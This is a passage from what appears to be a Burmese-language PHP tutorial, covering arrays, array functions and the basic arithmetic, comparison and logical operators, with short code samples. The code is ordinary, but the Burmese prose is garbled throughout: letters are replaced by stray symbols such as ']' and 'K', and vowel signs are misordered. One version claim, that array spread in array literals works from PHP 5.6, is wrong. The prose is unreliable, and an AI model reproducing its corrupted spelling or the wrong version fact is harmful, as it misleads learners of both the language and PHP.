ပေရးနည်းကိုသာ အ]ုပေနာက်ပုိင်း အသုံးများကြကပါတယ်။ ဒီပေရးနည်းက PHP 5.4 ကျပေတာ့မှ စပါလာတဲ့ ပေရး
နည်းမ့ုိလ့ုိ၊ ဟိုးအရင်တုံးက PHP ပပေရာဂျက်အပေဟာင်းပေတွမှာ ဆိုရင်ပေတာ့ array() ပေရးထံုးကို ]ုထိ သံုး
ထားကြကပေသးတာကို ပေတွ့ရနိုင်ပါပေသးတယ်။  php.net မှာရှိတဲ့  Official PHP Manual  မှာ ကြကည့်လုိက်ရင်
လည်း နမူနာပေတွမှာ  array() ကို  ပုိပြပီးပေတာ့ အသံုးများတာကို  ပေတွ့ရနိုင်ပါတယ်။ ဟိုးအရင်ကတည်း
ရှိပေနတဲ့ လမ်းညွှန်မ့ုိလ့ုိ ပေရးနည်းပေဟာင်းပေတွ ကျန်ပေနတာပါ။

ဆက်လက်ပြပီး၊ ထူးဖြ]ား]ျက်အပေနနဲ့ echo ကို သံုးပြပီး Array ပေတွကို ပေKာ်ဖြပ]ိုင်းလ့ုိ မရတာကို သတိဖြပုပါ။
echo က String  တန်Kုိးပေတွကိုသာ ပေKာ်ဖြပနိုင်တာပါ။ တစ်ဖြ]ား  Integer  တို့  Float  တို့က ဖြပဿနာမရှိပါ
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ဘူး။  String  ပေဖြပာင်းပြပီး  ဖြပပေပးလိုက်လ့ုိ  ရတဲ့အတွက်  ဖြပပေပးနိုင်ပါတယ်။  Array  ကို  တိုက်ရိုက်  String
ပေဖြပာင်းလုိ့မရတဲ့အတွက်  Waring  ပေပးပါလိမ့်မယ်။  လံုးဝ  မဖြပတာပေတာ့  မဟုတ်ပါဘူး။  Array  မှန်းသိလို့
Array ဆိုတဲ့စာကိုပေတာ့ ဖြပပေပးပါတယ်။

Array  တန်Kုိးပေတွကို  ပေKာ်ဖြပပေစလုိရင်  var_dump() သ့ုိမဟုတ်  print_r() ကို  သံုးနိုင်ပါတယ်။
var_dump() က  Data Type  ပေတွကိုပါ  ထည့်ဖြပလ့ုိ၊  ပေKာ်ဖြပတဲ့အ]ျက်အလက် ပုိဖြပည့်စုံပါတယ်။ ဒါပေပ
မယ့် Array ထဲမှာ ရှိတာကိုပဲ ]ပ်ရှင်းရှင်း ကြကည့်]ျင်တယ်ဆိုရင် print_r() ကလည်း အသံုးဝင်ပါတယ်။
နမူနာမှာ ကြကည့်လုိက်ရင် $fruits Array ထဲမှာ တန်Kိုးပေတွဟာ Index 0, 1 အစီအစဉ်အတိုင်း ရှိပေနတာ
ကို ပေတွ့ ရမှာ ဖြKစ်ပါတယ်။

ပေနာက်ထပ်  Array  တစ်မျ ို းကိုပေတာ့  Associative Array  လ့ုိပေ]ါ်ပါတယ်။  Index  ကို  နံပါတ်စဉ်အတိုင်း မ
သွားပေတာ့ဘဲ မိမိနှစ်သက်ရာအမည်နဲ့  Associate လုပ်ပြပီး တွဲKက်သတ်မှတ်ပေပးတဲ့နည်း ဖြKစ်ပါတယ်။ ဒီလုိ
ပေရးရပါတယ် – 

 PHP 

<?php

$user = [ "name" => "Alice", "age" => 22];

print_r($user);

// Array ( [name] => Alice [age] => 22 )

Array Index အတွက် String တစ်]ုကို ပေပးရပါတယ်။ Value ပေနရာမှာပေတာ့ နှစ်သက်ရာတန်Kိုးကို ပေပးလ့ုိ
ရပါတယ်။ Data Type ကန့်သတ်]ျက် မရှိပါဘူး။ Array တစ်]ရုဲ့အတွင်းမှာ ထပ်ဆင့် Array ပေတွလည်း ရှိ
နိုင်ပါတယ်။ ဒီလုိပါ – 
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 PHP 

<?php

$users = [ 
["name" => "Alice", "age" => 22],
["name" => "Bob", "age" => 23],
["name" => "Tom", "age" => 24],

];

print_r($users);

ရိုးရိုး  Numeric  Array  တစ်]ရုဲ့အတွင်းမှာ  Associate  Array  ပေတွကို  တန်းစီပြပီး  ထည့်သွင်းထားတာပါ။
ရလဒ်ကို နမူနာမှာ ထည့်မဖြပပေတာ့ပါဘူး။ ကိုယ်တိုင် စမ်းကြကည့်နိုင်ပါတယ်။ ဒီပေနရာမှာ  Trailing Comma
ပေ]ါ် ပေနာက်ဆုံး  Comma ပေလးတစ်]ုကို သတိဖြပုပါ။  PHP Array ပေတွမှာ အ့ဲဒီလုိ ပေနာက်ဆုံးမှာ  Comma
အပုိတစ်]ု ပါတာကို လက်]ံပါတယ်။ ဟိုးအရင်ကတည်းက လက်]ံတာပါ။ ဒီလုိ ပေနာက်ဆုံး Comma အပုိ
ကို  လက်]ံတဲ့  ပေရးထံုးဟာ အသံုးဝင်တဲ့အတွက်  JavaScript  လုိ  Language  မျ ို းကလည်း ပေနာက်ပိုင်းမှာ
အလားတူ လက်]ံပေပးလာ]ဲ့ပါတယ်။

Array ထဲက တန်Kုိးတစ်]ုကို ရယူလုိရင်ပေတာ့ သက်ဆိုင်ရာ Index နဲ့ပေထာက်ပြပီး ရယူနိုင်ပါတယ်။

 PHP 

<?php

$users = [ 
["name" => "Alice", "age" => 22],
["name" => "Bob", "age" => 23],
["name" => "Tom", "age" => 24],

];

print_r( $users[0] );

// Array ( [name] => Alice [age] => 22 )

echo $users[0]['name'];

// Alice
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နမူနာအရ  $users Array  ဟာ ပေနာက်ထပ်  Array  ပေတွအထဲမှာ ထပ်ဆင့်ရှိပေနတဲ့  Two Dimensional
Array တစ်]ုဖြKစ်ပါတယ်။ $users[0] နဲ့ Index 0 ကတန်Kုိးကို ရယူလုိက်တဲ့အ]ါ ရှိပေနတဲ့ Array ကိုဖြပန်
ရမှာဖြKစ်လ့ုိ print_r() နဲ့ ပေKာ်ဖြပKို့ ပေရးပေပးထားပါတယ်။ $users[0]['name'] ဆိုပေတာ့မှ Index
0  မှာရှိပေနတဲ့  Array  ရဲ့  name Index  တန်Kုိးကို  ရယူလုိက်တာဖြKစ်ပါတယ်။  Array  တန်Kုိးပေတွ  ထပ်တိုး
သတ်မှတ်လုိရင်လည်း ဒီနည်းအတိုင်းပဲ ထပ်တိုးသတ်မှတ်နိုင်ပါတယ်။

 PHP 

<?php

$fruits = ['Apple', 'Orange'];
$fruits[4] = 'Mango';

print_r($fruits);

// Array ( [0] => Apple [1] => Orange [4] => Mango )

မူလ $fruits Array မှာ Index နှစ်]ုရှိပါတယ်။ 0 နဲ့  1 ဖြKစ်မှာပါ။ ထပ်လာမယ်ဆိုရင် 2 လာရမှာပါ။ ဒါ
ပေပမယ့်  Index 4  မှာ ပေနာက်ထပ် တန်Kုိးတစ်]ု  ထပ်တိုးထားတာကို  ပေတွ့ရပါလိမ့်မယ်။ ဒီလုိပေရးလုိ့  ရပါ
တယ်။  ရလဒ်ကို  ထုဒ်ကြကည့်လုိက်တဲ့အ]ါ  Index  0,  1  နဲ့  4  တို့  အသီးသီးရှိပေနတာကို  ပေတွ့ရမှာပါ။
JavaScript လုိ Language မျ ို းမှာဆိုရင် ကြကားထဲမှာ 2 နဲ့ 3 အတွက် Empty Slot ပေတွဝင်သွားမှာပါ။ PHP
မှာပေတာ့ အ့ဲဒီလုိ မဝင်ပါဘူး။

Array  ထဲကို  တန်Kုိးပေတွ ထပ်တိုးသတ်မှတ်တဲ့အ]ါ ကိုယ့်ဘာသာ  Index  နံပါတ် မပေပးပေတာ့ဘဲ၊  သ့ူအလုိ
အပေလ�ာက် ထပ်တိုးပြပီး ထည့်သွားပေအာင်လည်း ပေရးလ့ုိရပါတယ်။ ဒီလုိပါ – 

 PHP 

$fruits = ['Apple', 'Orange'];
$fruits[] = 'Mango';

print_r($fruits);

// Array ( [0] => Apple [1] => Orange [2] => Mango )
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ပေလပေထာင့်ကွင်း အလွတ်ကို  ပေပးလုိက်တာ သတိဖြပုပါ။ အထဲမှာ  Index  နံပါတ် ထည့်မပေပးထားပါတယ်။
JavaScript  မှာ အ့ဲဒီလုိပေရးရင်  Error  ဖြKစ်ပါလိမ့်မယ်။  PHP  မှာ မဖြKစ်ပါဘူး။  ရလဒ် ထုတ်ဖြပထားတာကို
ကြကည့်လုိက်ရင် အလုိအပေလ�ာက် Index 2 မှာ ပေပးလုိက်တဲ့တန်Kုိးကို ထည့်ပေပးထားတာကို ပေတွ့ရမှာပဲ ဖြKစ်
ပါတယ်။

PHP  မှာ မူလကတည်းက  Array Destructuring  ပေရးဟန် ပါဝင်ပြပီး  ပေနာက်ပုိင်း  Version  ပေတွမှာ  Array
Spread လုပ်ပေဆာင်]ျက်လည်း ပါဝင်လာပါတယ်။ ဒီလုိပါ –

 PHP 

<?php

$user = ["Alice", 22];

list($name, $age) = $user;

echo $name; // Alice

list() ကိုအသံုးဖြပုပြပီး Array ထဲက တန်Kုိးပေတွကို Destructure လုပ်ပြပီး Variable ပေတရွဲ့ တန်KုိးအဖြKစ်
လက်]ံလိုက်တာပါ။ PHP 7.1 ကပေနစပြပီး ဒီလိပုေရးလ့ုိလည်း ရသွားပါတယ်။ ရလဒ် အတူတူပါပဲ –

 PHP >= 7.1 

<?php

$user = ["Alice", 22];

[ $name, $age ] = $user;

echo $name; // Alice

ဒါက ရိုးရိုး Array အတွက်ပါ။ Associative Array ဆိရုင်ပေတာ့ အ]ုလုိပေရးပေပးK့ုိ လုိအပ်ပါတယ်။
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 PHP >= 7.1 

<?php

$user = ["name" => "Alice", "age" => 22];

["name" => $name, "age" => $age] = $user;

echo $name; // Alice

Array Spread လုပ်ပေဆာင်]ျက်ကိုပေတာ့ ဒီလုိပေရးပြပီး စမ်းကြကည့်နိုင်ပါတယ်။

 PHP >= 5.6 

<?php

$nums1 = [1, 2];
$nums2 = [ ...$nums1, 3 ];

print_r($nums2);

// Array ( [0] => 1 [1] => 2 [2] => 3 )

$nums Array  အတွက်  $nums1 Array  ထဲကတန်Kုိးပေတွကို  Spread  လုပ်]ျ ထည့်ပေပးလုိက်ပြပီးပေတာ့မှ
ပေနာက်ထပ် တန်Kုိးတစ်]ု ထပ်တိုးထားတာပါ။

JavaScript  မှာလည်း အလားတူ  လုပ်ပေဆာင်]ျက်ပေတွရှိလ့ုိ  အသစ်အဆန်းပေတာ့  မဟုတ်ပါဘူး။  PHP    နဲ့  
JavaScript   တို့ရဲ့ ထူးဖြ]ား]ျက်ကပေတာ့   Language   သပေဘာသဘာဝ မတူပေပမယ့် ဒီလုိမျ ို း ပေရးဟန်ပေတွမှာ  
အပေတာ်ပေလး ဆင်တူပေနတာပဲ  ဖြKစ်ပါတယ်။  Language  နှစ်မျ ို းဖြKစ်ပေနလ့ုိ  နှစ်မျ ို း  အစအဆုံး  အကုန်ဖြပန်
ပေလ့လာပေနစရာ မလိုအပ်ပေတာ့လ့ုိ ပေလ့လာသူပေတွအတွက် ပေလ့လာရတာ ပုိပြပီးလွယ်ကူသွားပေစပါတယ်။

PHP  မှာ  အသုံးဝင်တဲ့  Array  Function  ပေတွအများကြကီးရှိပါတယ်။  အသံုးများတဲ့  Function  တစ်]ျ ို ့
အပေကြကာင်း တစ်]ါထဲ ထည့်ပေဖြပာ]ျင်ပါတယ်။ 
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Array တစ်]ုမှာပါဝင်တဲ့ Item အပေရအတွက်ကိုသိ]ျင်ရင် count() ကို အသံုးဖြပုနိုင်ပါတယ်။

 PHP 

<?php

$nums = [1, 2, 3, 4];

echo count($nums); // 4

Variable တစ်]ုဟာ Array ဟုတ်မဟုတ် စစ်]ျင်ရင် is_array() နဲ့စစ်နိုင်ပါတယ်။ ဟုတ်မှန်ရင် 1 ဖြပန်
ပေပးပြပီး၊ မမှန်ရင် Empty ကို ဖြပန်ပေပးပါတယ်။

 PHP 

<?php

$users = ["alice", "bob"];

echo is_array($users); // 1

တန်Kုိးတစ်]ု Array ထဲမှာ ပါမပါ သိ]ျင်ရင် in_array() နဲ့ စစ်နိုင်ပါတယ်။ ဟုတ်မှန်ရင် 1 ဖြပန်ပေပးပြပီး၊
မမှန်ရင် Empty ကို ဖြပန်ပေပးပါတယ်။

 PHP 

<?php

$users = ["alice", "bob"];

echo in_array('bob', $users); // 1

array_search() လည်းရှိပါပေသးတယ်။ သူကပေတာ့ တန်Kုိးရှိမရှိ စစ်ပေပးယံုသာမက၊ ရိှတယ်ဆိုရင် အ့ဲ
ဒီတန်Kုိး ရှိပေနတဲ့ Index ကို ဖြပန်ပေပးပါတယ်။
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 PHP 

<?php

$users =["tom", "bob", "alice"];

echo array_search("alice", $users); // 2

နမူနာမှာ ရှာလုိက်တဲ့တန်Kုိးကို Index 2 မှာပေတွ့လ့ုိ 2 ကိုဖြပန်ပေပးတာကို ပေတွ့ရမှာ ဖြKစ်ပါတယ်။

Array  ရဲ့ပေနာက်ဆုံးကပေန  တန်Kုိး  ထပ်တိုး]ျင်ရင်  array_push() ကိုသုံးနိုင်ပါတယ်။  ပေနာက်ဆုံးက
တန်Kုိးကို  ပယ်Kျက်]ျင်ရင်  array_pop() ကိုသံုးနိုင်ပါတယ်။  ပေရှ့ ဆုံးကပေန  တန်Kုိးထပ်တိုး]ျင်ရင်
array_unshift() ကိုသုံးနိုင်ပါတယ်။ ပေရှ့ ဆုံးကတန်Kုိးကို  Kျက်]ျင်ရင်  array_shift() ကိုသံုး
နိုင်ပါတယ်။

<?php

$users =["alice", "bob"];

array_push($users, "tom");

print_r($users); // ["alice", "bob", "tom"]

array_pop($users);

print_r($users); // ["alice", "bob"]

Array ထဲက တစ်]ျ ို ့အပုိင်းပေတွကို Kယ်ထုတ်/ထုတ်ယူ လုိရင် array_splice() ကိုသံုးနိုင်ပါတယ်။

 PHP 

<?php

$users =["tom", "bob", "alice"];
$result = array_splice($users, 1, 1);

print_r($users); // Array ( [0] => tom [1] => alice )
print_r($result); // Array ( [0] => bob ) 
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နမူနာအရ $users Array ရဲ့ Index 1 ကပေနစပြပီး 1 ]ုထုတ်ယူမယ်လ့ုိ ပေဖြပာလုိက်တာပါ။ ဒါပေကြကာင့် မူလ
$users Array  မှ  Index 1  Kယ်ထုတ်လုိက်ပြပီး၊  ရလဒ်အပေနနဲ့  အ့ဲဒီလုိ  Kယ်ထုတ်လုိက်တဲ့  တန်Kုိးကို  ရ
တယ်ဆိုတာကို ပေတွ့ရမှာ ဖြKစ်ပါတယ်။ ဒါပေကြကာင့် array_splice() ကို တစ်]ျ ို ့အပုိင်းပေတွ Kယ်ထုတ်
K့ုိ အသံုးဖြပုနိုင်သလုိ လုိ]ျင်တဲ့ အပုိင်းကို ထုတ်ယူKုိ့လည်း သံုးနိုင်ပါတယ်။

Array  ရဲ့  Index  ပေတ]ွျည်း လုိ]ျင်ရင်  array_keys() ကိုသံုးနိုင်ပါတယ်။  Array  ရဲ့  Value  ပေတ]ွျည်း
လုိ]ျင်ရင် array_values() ကိုသံုးနိုင်ပါတယ်။

 PHP 

<?php

$user =["name" => "alice", "age" => 22];

$keys = array_keys($user);
$vals = array_values($user);

print_r($keys);// Array ( [0] => name [1] => age )
print_r($vals);// Array ( [0] => alice [1] => 22 )

Array ကို Value နဲ့ Sorting စီ]ျင်ရင် sort() ကိုသံုးနိုင်ပါတယ်။ ပေဖြပာင်းဖြပန်စီ]ျင်ရင် rsort() ကိုသံုး
နိုင်ပါတယ်။ Array ကို Index နဲ့ စီ]ျင်ရင်ပေတာ့ ksort() ကိုသံုးနိုင်ပြပီး ပေဖြပာင်းဖြပန်စီ]ျင်ရင် krsort()
ကိုသုံးနိုင်ပါတယ်။

 PHP 

<?php

$users =["tom" => 23, "bob" => 22, "alice" => 24];
sort($users);

print_r($users);
// Array ( [0] => 22 [1] => 23 [2] => 24 )

$users =["tom" => 23, "bob" => 22, "alice" => 24];
ksort($users);

print_r($users);
// Array ( [alice] => 24 [bob] => 22 [tom] => 23 )



PHP – လိမေု - တိမေု - ရှင်း – အ]န်း (၄) – Strings & Arrays 52

ဒီ  Function  ပေတွက Array  အသစ်ကို ဖြပန်ပေပးတာ မဟုတ်ပါဘူး။  မူလ   Array    ကို ဖြပင်လိုက်တာပါ  ။ ဒါကို
သတိထားK့ုိ လုိပါလိမ့်မယ်။ ဖြပင်ပြပီးမှ မူလတန်Kိုးအတိုင်း ဖြပန်လုိ]ျင်ရင် ရမှာမဟုတ်ပေတာ့ပါဘူး။

ပေနာက်ထပ်အသံုးဝင်တဲ့  Function  နှစ်]ုကပေတာ့  explode() နဲ့  implode() ဖြKစ်ပါတယ်။  String
တစ်]မှာပါတဲ့ Character ပေတွ Word ပေတွ ကို]ွဲထုတ်ပြပီး Array အပေနနဲ့လုိ]ျင်ရင် explode() ကို သံုးရ
ပါတယ်။  အဖြပန်အလှန်အားဖြKင့်  Array  တန်Kုိးပေတွကို  ပေပါင်းစပ်ပြပီး  String  အပေနနဲ့  လုိ]ျင်ရင်
implode() ကိုသုံးရပါတယ်။

 PHP 

<?php

$input = "A quick brown fox.";
$arr = explode(" ", $input);

print_r($arr);

// Array ( [0] => A [1] => quick [2] => brown [3] => fox. )

$str = implode(" ", $arr);

echo $str;

// A quick brown fox.

explode() ကိုသုံးပြပီး  Space  နဲ့  ပုိင်းဖြKတ်Kုိ့  ပေဖြပာလိုက်တာပါ။  ဒါပေကြကာင့်  $input String  မှာပါတဲ့
Word တစ်]ု]ျင်းစီပါဝင်တဲ့ Array ကိုရပါတယ်။ အ့ဲဒီ Array ကို Space ]ံပြပီး ဖြပန်ပေပါင်းပေပးKို့ implode()
နဲ့ ပေဖြပာလိုက်တဲ့အ]ါ မူလ String ကို ဖြပန်ရတာဖြKစ်ပါတယ်။

တစ်ဖြ]ားအသံုးဝင်တဲ့  လုပ်ပေဆာင်]ျက်ပေတွ  အပေဖြမာက်အဖြမားရှိပေသးပေပမယ့်  ဒီပေလာက်စမ်းကြကည့်ထားရင်
ပေတာ်ပေတာ်ပေလး ဖြပည့်စုံပေနပါပြပီ။  ကျန်တာပေတွက လက်ပေတွ့လုိအပ်လာပေတာ့မှ  ဆက်လက်ပေလ့လာလိုက်
လ့ုိ ရနိုင်ပါတယ်။

- https://www.php.net/manual/en/ref.array.php

https://www.php.net/manual/en/ref.array.php
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အခန်း (၅) – Operators & Control Structures

PHP  မှာ  ပေပါင်းနှုတ်ပေဖြမှာက်စား  လုပ်ငန်းပေတွအတွက်  +,  -,  *,  /  Operator  ကိုပဲသံုးပါတယ်။  ဒီထဲက
ထူးဖြ]ား]ျက်လ့ုိ ပေဖြပာလ့ုိရတာက + Operator ဖြKစ်ပါတယ်။ JavaScript လုိ Language မျ ို းမှာ + Operator
ကို ကိန်းဂဏန်းပေတွ ပေပါင်းKုိ့သံုးသလုိ၊ String ပေတွ Concatenation လုပ်ပြပီးတွဲဆက်Kုိ့လည်း သံုးပါတယ်။
PHP မှာပေတာ့ String   ပေတွတွဲဆက်K့ုိအတွက်   +   ကို မသုံးပါဘူး  ။ Dot Operator ကိုသာ သံုးပါတယ်။

 PHP 

<?php

$greet = "Welcome";
$name = "Bob";

echo $greet . " " . $name; // Welcome Bob

String Variable နှစ်]ုနဲ့  Double Quote String တစ်]ု၊ စုစုပေပါင်း သံုး]ုကို  Dot Operator နဲ့ တန်းစီ တွဲ
ဆက်လုိက်တာပါ။ တစ်ကယ်ပေတာ့ ဒီပေနရာမှာ Dot နဲ့ တွဲဆက်မှပေတာ့ မဟုတ်ပါဘူး။ တစ်ဖြ]ားပုိပေကာင်းတဲ့
နည်းပေတွ ရှိပါတယ်။ ဥပမာ – 

 PHP 

<?php

$greet = "Welcome";
$name = "Bob";

echo "$greet $name"; // Welcome Bob
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Double  Quote  String  ထဲမှာ  Variable  ပေတွထည့်သံုးလ့ုိရတဲ့အတွက်  တဲွဆက်မပေနပေတာ့ဘဲ  တစ်]ါထဲ
ထည့်ပေပးလုိက်တာပါ။  ဒါပေပမယ့်  တစ်]ျ ို ့ပေနရာပေတွမှာ  တွဲဆက်ပြပီးပေရးပေပးမှ  ပုိအဆင်ပေဖြပမယ့်  ပေနရာမျ ို း
ပေတွ ရှိပါတယ်။ ဒီလုိပါ –

 PHP 

<?php

$data = ["Apple", "Orange"];

echo $data[0] . " and " . $data[1];

// Apple and Orange

ဒီပေနရာမှာ  တစ်]ု  ဖြKည့်စွက်မှတ်သားပေစ]ျင်တာက  echo Keyword  နဲ့  ရလဒ်ပေတွကို  ပေKာ်ဖြပပေစတဲ့အ]ါ
Comma ]ံပြပီး နှစ်]ုသုံး]ု ပေပးလ့ုိရပါတယ်။ ဒါပေကြကာင့် ဒီလုိပေရးရင်လည်း ရလဒ်အတူတူပါပဲ။

echo $data[0], " and ", $data[1];

// Apple and Orange

ရလဒ်တူပေပမယ့် Operator မတူတာကိုပေတာ့ သတိဖြပုပါ။ Dot Operator က String ပေတွကို တွဲဆက်ပေပး
တာဖြKစ်ပြပီး Comma ကပေတာ့ String ပေတွကို တွဲဆက်ပေပးတာ မဟုတ်ပါဘူး။ echo အတွက် Argument
သပေဘာမျ ို း နှစ်]ုသံုး]ု ပေပး]ျင်ရင် သံုးရတာပါ။

ပေပါင်းနှုတ်ပေဖြမှာက်စား  သပေက�တပေတွထဲမှာ  %  သပေက�တကို  အကြွကင်းရှာK့ုိသံုးပြပီး  **  သပေက�တကို
Exponent ရှာK့ုိအတွက် သံုးပါတယ်။

 PHP 

<?php

echo 5 % 3; // 2
echo 2 ** 3; // 8
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Comments
Operator  ပေတွအပေကြကာင်းပေဖြပာလက်စနဲ့  တစ်]ုထည့်ပေဖြပာ]ျင်ပါပေသးတယ်။  PHP  မှာ  Code  Comment
ပေတွ  ထည့်ပေရးK့ုိအတွက်  သံုးလို့ရတဲ့  ပေရးနည်း  (၃)  နည်းရှိပါတယ်။  //  Operator  ကို  Single-line
Comment ပေတွအတွက် သံုးရပြပီး /* အKွင့်နဲ့ */ အပိတ်တို့ကြကားမှာ Multi-line Comment ပေတွကို ပေရးလ့ုိရ
ပါတယ်။ ထူးဖြ]ား]ျက်ကပေတာ့ # Operator ကိုလည်း Single-line Comment ပေတွ ပေရးKုိ့အတွက် သံုးနိုင်
ပါပေသးတယ်။

 PHP 

<?php

# This is a valid comment

echo 1 + 2; # 3

Assignment Operators
PHP မှာလည်း = Operator ကို တန်Kုိးပေတွ သတ်မှတ်K့ုိအသုံဖြပုရပြပီး += ကို တန်Kုိးပေတွ ပေပါင်းထည့်K့ုိ သုံး
ရပါတယ်။

 PHP 

<?php

$num = 3;
$num += 2;

echo $num; // 5

အလားတူအပေနနဲ့ -=, *=, /= Operator ပေတွလည်း ပါဝင်ပါပေသးတယ်။ 

ထူးဖြ]ား]ျက်ကပေတာ့ String ပေတတွွဲဆက်ထည့်သွင်းလ့ုိရတဲ့ .= Operator လည်း ပါဝင်ဖြ]င်း ဖြKစ်ပါတယ်။
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 PHP 

<?php

$result = "Welcome";
$result .= " ";
$result .= "Bob";

echo $result; // Welcome Bob

မူလ  String Variable  ထဲကို  ပေနာက်ထပ်  String  တန်Kုိးပေတွ  တွဲဆက်ထည့်သွင်းသွားတာ ဖြKစ်ပါတယ်။
လက်ရှိတန်Kုိးကို 1 တိုးKို့နဲ့ 1 နှုတ်K့ုိအတွက် ++ နဲ့ -- Operator တို့ကို သံုးနိုင်ပါတယ်။

$x = 3;
$y = $x++; // $y => 3, $x => 4

နမူနာအရ  $x ရဲ့  လက်ရှိတန်Kုိး  3  ဖြKစ်ပါတယ်  ++ နဲ့  1  တိုးပြပီး  $y  ထဲကို  Assign  လုပ်တဲ့အ]ါ  ++ ကို
ပေနာက်ကပေနပေရးတဲ့အတွက် အလုပ်အရင်လုပ်ပြပီးမှ 1 တိုးသွားမှာ ဖြKစ်ပါတယ်။ ဒါပေကြကာင့် $y တန်Kုိး 3 ဖြKစ်
ပြပီး $x တန်Kုိးကပေတာ့ 4 ဖြKစ်ပေနတာပါ။ ဒီဥပမာကိုပဲ ++ ကိုပေရှ့ကပေရးမယ်ဆိုရင် ဒီလုိဖြKစ်သွားမှာပါ။

$x = 3;
$y = ++$x; // $y => 4, $x => 4

-- Operator က 1 နှုတ်တဲ့အ]ါမှာလည်း ဒီသပေဘာပဲ ဖြKစ်ပါတယ်။ Operator ကို ပေရှ့ ကထားရင် 1 နှုတ်
ပြပီးမှ အလုပ်လုပ်ပြပီး Operator ကိုပေနာက်ကထားရင် အလုပ်လုပ်ပြပီးမှ 1 နှုတ်လုိက်မှာ ဖြKစ်ပါတယ်။

Comparison Operators
တန်Kုိးပေတွ နှိုင်းယှဉ်K့ုိအတွက်သံုးရတဲ့ Comparison Operator ပေတွမှာပေတာ့ တန်Kုိးပေတွ ညီမညီ နှိုင်းယှဉ်
K့ုိအတွက်  == ကို  Equal Operator  အဖြKစ်သံုးရပြပီး၊ တန်Kုိးပေတွ မညီဘူးလား နှိုင်းယှဉ်K့ုိအတွက်  != ကို
Not Equal Operator  အဖြKစ်သံုးရပါတယ်။ ထူးဖြ]ား]ျက် အပေနနဲ့  <> ကို  Not Equal Operator  အပေနနဲ့
သံုးနိုင်ပါတယ်။
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PHP  ဟာလည်း  Loosely  Typed Language  ဖြKစ်လ့ုိ  JavaScript  မှာလုိပဲ  Identical  Equal  Operator
=== နဲ့  Identical Not Equal Operator  !== တို့ပါဝင်ပါတယ်။ ရိုးရိုး  == နဲ့  != က တန်Kုိးညီမညီကိုပဲ
နှိုင်းယှဉ်မှာဖြKစ်ပြပီး Data Type ကို Kလှယ်အလုပ်လုပ်သွားမှာ ဖြKစ်ပါတယ်။ ဥပမာ –

 PHP 

<?php 

echo 5 == "5"; // 1

နမူနာမှာပေပးထားတဲ့ ရလဒ် 1 ဆိုတာ true ဆိုတဲ့အဓိပ္ပါယ်ဖြKစ်ပါတယ် Integer 5 နဲ့ String "5" တို့ အမျ ို း
အစား မတူပေပမယ့် တူပေအာင်ညိှပြပီးအလုပ်လုပ်သွားလ့ုိ  ညီတယ်လို့  ပေဖြပာပေနတာပါ။  Identical Operator
ပေတွကပေတာ့ Type ကိုတူပေအာင်မညိှဘဲ အရှိအတိုင်း နှိုင်းယှဉ်မှာ ဖြKစ်ပါတယ်။

 PHP 

<?php

echo 5 === "5"; //

ရလဒ်အပေနနဲ့  Empty  ကိုဖြပနရ်ပေနတာပါ။ ရလဒ်မရှိပါဘူး။ ရလဒ်မရှိဖြ]င်းဟာ false ဖြKစ်လ့ုိ  false ဆို
တဲ့ အဓိပ္ပါယ်ပါပဲ။  တန်Kုိးအကြကီးအပေသး နှိုင်းယှဉ်K့ုိအတွက်  Less Than <,  Greater Than >,  Less Than
Equal <=,  Grater  Than  Equal  >= စတဲ့  Operator  ကိုအသံုးဖြပုပါတယ်။  ထူးဖြ]ား]ျက်ကပေတာ့
Spaceship Operator လ့ုိပေ]ါ်တဲ့ ပေရးထံုးတစ်မျ ို း ဖြKည့်စွက်ပါဝင်ဖြ]င်း ဖြKစ်ပါတယ်။ ဒီလိုပါ –

 PHP >= 7.0 

<?php

echo 3 <=> 5; // -1
echo 5 <=> 5; // 0
echo 5 <=> 3; // 1

သူက ရလဒ်ကို  (၃)  မျ ို းဖြပန်ပေပးပါတယ်။ နှိုင်းယှဉ်တန်Kုိးနှစ်]ုမှာ ပေရှ့တန်Kုိးက ငယ်ရင်  -1  ကိုဖြပန်ပေပးပြပီး၊
တန်Kုိးနှစ်]ုညီပေနရင်  0  ကို  ဖြပန်ပေပးပါတယ်။  ပေနာက်တန်Kုိးက  ငယ်ပေနရင်ပေတာ့  1  ကိုဖြပန်ပေပးပါတယ်။
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ထူးဆန်းတဲ့  Operator  တစ်]ုဖြKစ်ပေနပေပမယ့်  အသံုးဝင်တဲ့ပေနရာပေတွ  ရှိပါတယ်။  ပေလာပေလာဆယ်ပေတာ့
အလုပ်လုပ်ပံုကိုသာ မှတ်ထားလုိက်ပါ။

Logical Operators
PHP မှာ ! ကို NOT Operator အပေနနဲ့ပဲ သံုးပါတယ်။ && ကို AND Operator အပေနနဲ့သံုးပြပီး || ကို OR
Operator  အပေနနဲ့  သံုးပါတယ်။ ထူးဖြ]ား]ျက်ကပေတာ့  and ဆိုတဲ့  Keyword  ကိုလည်း  AND Operator
အပေနနဲ့  အသုံးဖြပုနိုင်ပြပီး  or ဆိုတဲ့  Keyword  ကိုလည်း  OR  Operator  အပေနနဲ့  အသုံးဖြပုနိုင်ဖြ]င်းဖြKစ်ပါ
တယ်။

 PHP 

<?php

$x = 3;
$y = 5;

echo $x === $y || $x === 3; // 1 (true)
echo $x === $y or $x === 3; // 1 (true)

echo $x === $y && $x === 3; //  (false)
echo $x === $y and $x === 3; //  (false)

echo !($x === $y and $x === 3); // 1 (true)

ပေနာက်ထပ်ထူးဖြ]ား]ျက်ကပေတာ့ PHP မှာ xor ကို XOR Operator   အပေနနဲ့ အသံုးဖြပုနိုင်ဖြ]င်း   ဖြKစ်ပါတယ်။
JavaScript  မှာဆိုရင်  XOR Operator  မရှိပါဘူး။  PHP မှာပေတာ့ ရှိပါတယ်။ ရိုးရိုး  OR က နှိုင်းယှဉ်တန်Kုိး
နှစ်]ုမှာ  တစ်]ုမှန်ရင်  ရလဒ်မှန်သလုိ  နှစ်]ုလံုးမှန်ရင်လည်း  ရလဒ်မှန်ပါတယ်။  XOR  ကပေတာ့  နှိုင်းယှဉ်
တန်Kုိးနှစ်]ုမှာ တစ်]ု မှန်ရင် ရလဒ်မှန်ပြပီး နှစ်]ုလံုးမှန်ရင် ရလဒ်မှားပါတယ်။ 

 PHP 

<?php

$x = 3;
$y = 5;
echo $x < $y or $x === 3; // 1 (true)
echo $x < $y xor $x === 3; // (false)
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နမူနာအရ $x < $y ဟာ true ဖြKစ်ပြပီး  $x === 3 ဟာလည်း true ဖြKစ်ပါတယ်။ နှစ်]ုလံုး  true
ဖြKစ်ပေနတဲ့အတွက် or ရလဒ် ture ဖြKစ်ပြပီး xor ရလဒ် false ဖြKစ်ပေနတာကို ပေတွ့ဖြမင်ရမှာ ဖြKစ်ပါတယ်။

Ternary & Null Coalescing Operator
